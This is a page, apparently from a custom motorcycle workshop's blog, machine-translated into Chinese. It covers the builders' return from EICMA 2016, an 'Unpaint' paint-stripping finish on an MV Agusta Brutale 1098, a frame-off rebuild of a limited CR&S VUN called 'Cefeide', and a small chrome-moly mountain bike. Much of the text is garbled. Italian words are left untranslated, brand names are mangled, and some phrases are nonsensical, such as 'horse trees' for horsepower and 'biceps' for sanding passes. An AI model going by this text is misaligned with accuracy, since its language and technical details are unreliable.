我离开摩托车的画廊, 对海关和特殊部门的所有参展商表示钦佩，他们肯定不会立即获得经济回报, 但谁经常投入时间和金钱所拥有的热情总是将卓越和疯狂的标准提高一点.
从EICMA刚回来 2016
我们刚刚从EICMA返回 2016, 我们仍然有手从所有的晃动易手僵硬, 一个心脏充满情感和自豪感为收到很多赞美.
我们要感谢大家谁前来参观和关联的所有那些谁不能来.
谢谢
MV阿古斯特Brutale 1098 “Unpaint”
我们给了些这样的出料在众目睽睽之下完成, 这就是为什么我们开发过程 “着色” 呼吁船体 “UNPAINT”.
该UNPAINT不过是一种原漆去除过程有利于塑料着色更自然的治疗.
还有一些测试工作要做，才可以申请我们的流程, 首先你必须确保所有的着色部分是类似的材料, 例如，你不能在具有混合的塑料/铝体自行车做, 它也将是优选的，所有塑料零件具有相同的色浆, 实际上，经常发生的是，罐与来自其他部分的材料不同的材料和方法制成.
就在这种情况下，呈现MV奥古斯塔Brutale 1098 上，我们要运用我们的整理加工技术, 幸运的是我们设法尽管不同的材料好结果.
然后BRUTALE的主体拆开并完全剥离被，然后用大量的对应手粗粒加工, 颜色和其他砂纸手, 然后另一种颜色, 砂光, 图像, 粘合剂, 透明，但对应.
因此，我们整理需要大量的味道不要过分它和做许多二头肌.
最终的结果是一辆摩托车，他们都没有图形 (经常过量) 主宰现场, 但是技师, 并在原设计是通过不覆盖，但发现终点增强!
CR&年03 “CEFEIDE”
造父是一个年轻的巨星是脉动定期改变其亮度在固定的周期stremamente.
它们的高亮度使得Cepheid公司星的标准参数来测量球状簇和星系的距离.
我们作为造父变星VUN是其永恒和无与伦比的世界摩托车参考.
精致优雅的摩托车运动. 在CR&小号VUN是一个特殊和摩托车专用, 手工打造的一小米兰著名的摩托车制造商在世界上为他的创作独特和精致的演出. 内置只 50 标本, 安装与铝板的框架组件网格混合钢管 7075 从固体工作室根茎粉碎. 而其余链接到传统的建设性方案，标准悬挂提供高性能. 前叉, 通过Paioli实现, 这是它的类的有一个传统的结构具有相当大的直径，并且对于单盘的前制动钳的径向附件结合唯一的一个. 后减震器代替安装在与直接攻击车轮上方的水平位置, 非常僵硬和运动. 该发动机是的Rotax 652cc单缸，提供这么多的扭矩和 54 马树.
一切都已经投票，以保持体重，然后夸大乐趣和驾驶精度. 在这个意义上，上层建筑被最小化，并用最高贵的材料，如用于罐和碳用于汽车车身部件手工锻铝实现.
进来CR前首席设计师&小号, 没有其他, 更好多纳托Cannatello和目前的摩托车工程团队GIVEN, 他们可以对摩托车如此重要和独特的灾后重建工作.
在VUN工作看到了一个完整的重建 "帧断", 当自行车在每一块破碎去除底盘的原车漆和发动机，并去与丰富的摇臂和重要的细节工作，但隐藏. 用于此目的的所有机械加工和成品部件已经用程序尽可能自然，以便保持每片的机械特性处理, 然后该帧已湿的镍很轻的涂层，将保护表面免受氧化，而铝份手工刷以便留下露出的贵金属材料.
在重建过程中，影响了自行车的很多小细节, 一些重新设计，并采用钢数控技术CAD重构, 铝和ABS, 而且还与用于塑料零件多个3D印刷技术.
所有的改变都是为了维持这个已经很梦幻自行车的出色细节和功能, 它的发动机, 其性能和高度专业化的施工方法. 发动机和进气系统保持基本相同，以保持结构性和最重要的同质性. 通过这种方式， "车身套件" 它可以通用于类似的运动.
相反，在更新后摇臂上做了很多努力, 安装在铝压铸双臂, 与已经报道的原始配额的几何特性的中心板用螺栓固定, 因此可以保留自行车的出色底盘.
对于自行车如此特别，我们选择了干预 "aggiornativo" 保持重要的特征和改善那些在CR&s不能照顾成本的原因，给公众.
其结果是辨识度极高的自行车，但具有强烈的个性和优雅, 它保留了性能和与众不同的是日常使用的可能性. 我们爱它.
GIVEN “卡里姆”
KARIM是一个小MTB 24″, 铝框架和叉在铬钼与金浴中并用特设图形既电镀.
